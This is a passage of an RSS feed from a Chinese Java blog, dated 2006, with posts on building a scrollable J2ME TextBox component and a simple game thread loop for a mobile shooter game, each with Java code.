<p>以上就是UI的核心，以后我将会逐渐介绍其他的组件跟相关的事件接口。读者也可以自己实现一些有意思的界面然后测试下，我相信效果会更好</p></td></tr></table><img src ="http://www.blogjava.net/wuhua/aggbug/90932.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/wuhua/" target="_blank">路是爬出来的</a> 2006-12-30 09:24 <a href="http://www.blogjava.net/wuhua/archive/2006/12/30/90932.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> 设计可组装的j2me UI（三） TextBox</title><link>http://www.blogjava.net/wuhua/archive/2006/12/30/90931.html</link><dc:creator>路是爬出来的</dc:creator><author>路是爬出来的</author><pubDate>Sat, 30 Dec 2006 01:24:00 GMT</pubDate><guid>http://www.blogjava.net/wuhua/archive/2006/12/30/90931.html</guid><wfw:comment>http://www.blogjava.net/wuhua/comments/90931.html</wfw:comment><comments>http://www.blogjava.net/wuhua/archive/2006/12/30/90931.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/wuhua/comments/commentRss/90931.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/wuhua/services/trackbacks/90931.html</trackback:ping><description><![CDATA[<table width="100%"><tr><td><p>     自己实现操作Canvas，很大部分是对文字的显示以及排版操作。而对字体的定义则每个厂商都有自己的规范，必然nokia定义了大，中，小字体。而我在其他手机上只有一种字体，所以无论你怎么样定义字体的大小都只有一种效果，这样的话。你可能要在程序中自己进行判断，然后在显示出来。要不然的话，则写出的程序在各个机型上显示的效果会有一些不同。
<br />     下面让我们来设计可以滚动的TextBox.
<br />     首先继承Part（UI的第一篇文章有给出代码)
<br />     
<br /><div class="code_title">代码</div><div class="code_div"><textarea name="code" class="java" rows="15" cols="100" >
public class TextBox extends Part {
     	/** 文本的行数 */
	private int numOfEls;
	
	/**
	 * 此页面最多显示得行数
	 */
	private int maxNum;
	
	private int pillarHeight;

	/** 开始索引 * */
	private int startIndex;
       /**
	 * 文本的内容
	 */
	private char [] textChars;
	
	/**
	 * 文本切割后得内容
	 */
	private String[] textNum;
	
	
	private String text;

        public void setString(String text) {
		
			 
		this.text = text;
	 	this.textChars = text.toCharArray();
	 	skipContent();
	 	//numOfEls = textChars.length;
	}
        /**
	 * 分割字符传.并处理pillar的高度，最主要的方法。
         * 通过屏幕的高，宽，以及字体的体型进行文本出来。并把处理后的文本保存在一个Vector中，以后绘制出来就容易多了
	 *
	 */
	private void skipContent(){
		
		this.numOfEls = FontUtil.siptRow(this.contentStyle.font,
				viewContent[WIDTH],text);
		
		int charWidth = viewContent[X]+ 2;
		int charHeight = viewContent[Y];
		int h;
		if(numOfEls>this.maxNum){
			h = (viewContent[WIDTH]-18);
		}else{
			h = (viewContent[WIDTH]-12);
		}
		StringBuffer sb = new StringBuffer();
		Vector ve = new Vector();
		for(int i=0 ; i &lt; this.textChars.length; i++){
		   sb.append(textChars[i]);
			 
			charWidth = charWidth + contentStyle.font.charWidth(textChars[i]);
			
			
			if(charWidth>h){
				charHeight = charHeight + contentStyle.font.getHeight()  ;
				charWidth = viewContent[X] + 2;
				ve.addElement(sb.toString());
				log.debug(sb);
				sb = null;
				sb = new StringBuffer();
				
			} 
		}
		ve.addElement(sb.toString());	
		log.debug(sb);
		textNum = new String[ve.size()];
		ve.copyInto(this.textNum);
		ve.removeAllElements();
		ve = null;
	
		//获取最大的数组值
		maxNum = viewContent[HEIGHT]/(this.contentStyle.font.getHeight() ) ;
		this.numOfEls = this.textNum.length;
		this.pillarHeight = numOfEls > maxNum ? viewContent[HEIGHT]/(numOfEls-maxNum +1):0;
		
		log.debug("MaxNum=" + maxNum); 
		log.debug("numOfEls=" + numOfEls); 
		
		
	}

/**
	 * 绘制文本的内容，自动实现，状态条的显示等
	 * @param g
	 */
	private void paintContent(Graphics g) {
		this.contentStyle.setFontColor(g);
		 
		int charWidth = viewContent[X]+ 2;
		int charHeight = viewContent[Y];
		int size = maxNum > this.numOfEls? numOfEls:maxNum;
		log.debug(startIndex);
		for(int i=startIndex ; i &lt; size + startIndex; i++){
			g.drawString(this.textNum[i],charWidth,charHeight,Graphics.TOP | Graphics.LEFT);
			charHeight = charHeight + contentStyle.font.getHeight() ;			
		}
		
		paintPillar(viewContent[WIDTH]-pillarWidth-4, viewContent[Y],g);
		
	}
	
	private void paintPillar(int x,int y,Graphics g){
		if (maxNum > this.numOfEls)
			return; 
		pillar.paint(x,y+(startIndex * pillarHeight),viewContent[WIDTH],this.pillarHeight,g);
	}

</textarea></div><script>render_code();</script></p>

<p>以上代码是基本框架。思路就这样。实践起来也不困难。</p></td></tr></table><img src ="http://www.blogjava.net/wuhua/aggbug/90931.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/wuhua/" target="_blank">路是爬出来的</a> 2006-12-30 09:24 <a href="http://www.blogjava.net/wuhua/archive/2006/12/30/90931.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> 游戏入门之四 雷电 GameThread</title><link>http://www.blogjava.net/wuhua/archive/2006/12/30/90930.html</link><dc:creator>路是爬出来的</dc:creator><author>路是爬出来的</author><pubDate>Sat, 30 Dec 2006 01:24:00 GMT</pubDate><guid>http://www.blogjava.net/wuhua/archive/2006/12/30/90930.html</guid><wfw:comment>http://www.blogjava.net/wuhua/comments/90930.html</wfw:comment><comments>http://www.blogjava.net/wuhua/archive/2006/12/30/90930.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/wuhua/comments/commentRss/90930.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/wuhua/services/trackbacks/90930.html</trackback:ping><description><![CDATA[<table width="100%"><tr><td><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 个人认为游戏最难控制的就是这些线程了。如果游戏复杂的话。为了避免资源冲突，死锁等。这方面对程序要求是很高的。还好。我那个游戏很简单，所以就不用考虑到这些。<br />
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 只要一个最重要的东西就行了。<br />
<br /><div class='code_title'>java 代码</div>
<br /><div class='dp-highlighter'>
<br /><div class='bar'>&nbsp;</div>
<br /><ol class='dp-j' start='1'>
<br />    <li class='alt'>//无非是要程序不停的运行,直到游戏结束为之<span><span class='keyword'></span></span></li>
<br />    <li class='alt'><span><span class='keyword'>while</span><span>&nbsp;(</span><span class='keyword'>true</span><span>)&nbsp;{&nbsp;&nbsp;</span></span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;game.run();&nbsp;&nbsp;</span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class='keyword'>try</span><span>&nbsp;{&nbsp;&nbsp;</span></span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thread.sleep(<span class='number'>80</span><span>);&nbsp;</span><span class='comment'>//&nbsp;线程延迟</span><span>&nbsp;&nbsp;</span></span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span class='keyword'>catch</span><span>&nbsp;(InterruptedException&nbsp;ie)&nbsp;{&nbsp;&nbsp;</span></span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li>
<br />    <li class='alt'><span>}&nbsp;&nbsp;</span></li>
<br /></ol>
<br /></div>
<br />&nbsp;&nbsp;&nbsp; <br />
<br /><div class='code_title'>java 代码</div>
<br /><div class='dp-highlighter'>
<br /><div class='bar'>&nbsp;</div>
<br /><ol class='dp-j' start='1'>
<br />    <li class='alt'><span><span class='comment'>/********************************************************************</span>&nbsp;</span></li>
<br />    <li class=''><span><span class='comment'>&nbsp;*&nbsp;项目名称&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;：&lt;b&gt;j2me学习&lt;/b&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;br/&gt;</span>&nbsp;</span></li>
<br />    <li class='alt'><span><span class='comment'>&nbsp;*&nbsp;</span>&nbsp;</span></li>
<br />    <li class=''><span><span class='comment'>&nbsp;*&nbsp;Copyright&nbsp;2005-2006&nbsp;Wuhua.&nbsp;All&nbsp;rights&nbsp;reserved</span>&nbsp;</span></li>
<br />    <li class='alt'><span><span class='comment'>&nbsp;********************************************************************/</span><span>&nbsp;&nbsp;</span></span></li>
<br />    <li class=''><span><span class='keyword'>package</span><span>&nbsp;org.wuhua.battleplan;&nbsp;&nbsp;</span></span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;</span></li>
<br />    <li class=''><span><span class='keyword'>import</span><span>&nbsp;javax.microedition.lcdui.Display;&nbsp;&nbsp;</span></span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;</span></li>
<br />    <li class=''><span><span class='comment'>/**</span>&nbsp;</span></li>
<br />    <li class='alt'><span><span class='comment'>&nbsp;*&nbsp;&lt;b&gt;类名：GameThread.java&lt;/b&gt;&nbsp;&lt;/br&gt;&nbsp;编写日期:&nbsp;2006-11-30&nbsp;&lt;br/&gt;</span>&nbsp;</span></li>
<br />    <li class=''><span><span class='comment'>&nbsp;*&nbsp;程序功能描述：游戏线程控制类，主要负责按照一定的时间刷新屏幕，来控制画面&nbsp;.</span>&nbsp;</span></li>
<br />    <li class='alt'><span><span class='comment'>&nbsp;*&nbsp;因为程序是每80毫秒刷新一次，所以在控制子弹跟飞机的时候，建议设计着应该在那边控制</span>&nbsp;</span></li>
<br />    <li class=''><span><span class='comment'>&nbsp;*&nbsp;&lt;br/&gt;&nbsp;Demo:&nbsp;&lt;br/&gt;&nbsp;Bug:&nbsp;&lt;br/&gt;</span>&nbsp;</span></li>
<br />    <li class='alt'><span><span class='comment'>&nbsp;*&nbsp;</span>&nbsp;</span></li>
<br />    <li class=''><span><span class='comment'>&nbsp;*&nbsp;程序变更日期&nbsp;：&lt;br/&gt;&nbsp;变更作者&nbsp;：&lt;br/&gt;&nbsp;变更说明&nbsp;：&lt;br/&gt;</span>&nbsp;</span></li>
<br />    <li class='alt'><span><span class='comment'>&nbsp;*&nbsp;</span>&nbsp;</span></li>
<br />    <li class=''><span><span class='comment'>&nbsp;*&nbsp;@author&nbsp;wuhua&nbsp;&lt;/br&gt;&nbsp;&lt;a&nbsp;href=&quot;mailto:rrq12345@163.com&quot;&gt;rrq12345@163.com&lt;/a&gt;</span>&nbsp;</span></li>
<br />    <li class='alt'><span><span class='comment'>&nbsp;*/</span><span>&nbsp;&nbsp;</span></span></li>
<br />    <li class=''><span><span class='keyword'>public</span><span>&nbsp;</span><span class='keyword'>class</span><span>&nbsp;GameThread&nbsp;</span><span class='keyword'>implements</span><span>&nbsp;Runnable&nbsp;{&nbsp;&nbsp;</span></span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;</span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class='keyword'>private</span><span>&nbsp;Game&nbsp;game;&nbsp;&nbsp;</span></span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;GameThread(){&nbsp;&nbsp;</span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;game&nbsp;=&nbsp;<span class='keyword'>new</span><span>&nbsp;Game();&nbsp;&nbsp;</span></span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class='keyword'>public</span><span>&nbsp;</span><span class='keyword'>void</span><span>&nbsp;run()&nbsp;{&nbsp;&nbsp;</span></span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gameRun();&nbsp;&nbsp;</span></li>
<br />    <li class=''><span>&nbsp;&nbsp;</span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class='keyword'>public</span><span>&nbsp;</span><span class='keyword'>void</span><span>&nbsp;init(){&nbsp;&nbsp;</span></span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;game.init();&nbsp;&nbsp;</span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class='keyword'>public</span><span>&nbsp;</span><span class='keyword'>void</span><span>&nbsp;open(Display&nbsp;d){&nbsp;&nbsp;</span></span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;d.setCurrent(game);&nbsp;&nbsp;</span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;</span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class='keyword'>private</span><span>&nbsp;</span><span class='keyword'>void</span><span>&nbsp;gameRun()&nbsp;{&nbsp;&nbsp;</span></span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class='keyword'>while</span><span>&nbsp;(</span><span class='keyword'>true</span><span>)&nbsp;{&nbsp;&nbsp;</span></span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;game.run();&nbsp;&nbsp;</span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class='keyword'>try</span><span>&nbsp;{&nbsp;&nbsp;</span></span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thread.sleep(<span class='number'>80</span><span>);&nbsp;</span><span class='comment'>//&nbsp;线程延迟</span><span>&nbsp;&nbsp;</span></span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span class='keyword'>catch</span><span>&nbsp;(InterruptedException&nbsp;ie)&nbsp;{&nbsp;&nbsp;</span></span></li>
<br />    <li class=''><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li>
<br />    <li class=''><span>&nbsp;&nbsp;</span></li>
<br />    <li class='alt'><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li>
<br />    <li class=''><span>&nbsp;&nbsp;</span></li>
<br />    <li class='alt'><span>}&nbsp;&nbsp;</span></li>
<br /></ol>
<br /></div></p></td></tr></table><img src ="http://www.blogjava.net/wuhua/aggbug/90930.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/wuhua/" target="_blank">路是爬出来的</a> 2006-12-30 09:24 <a href="http://www.blogjava.net/wuhua/archive/2006/12/30/90930.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>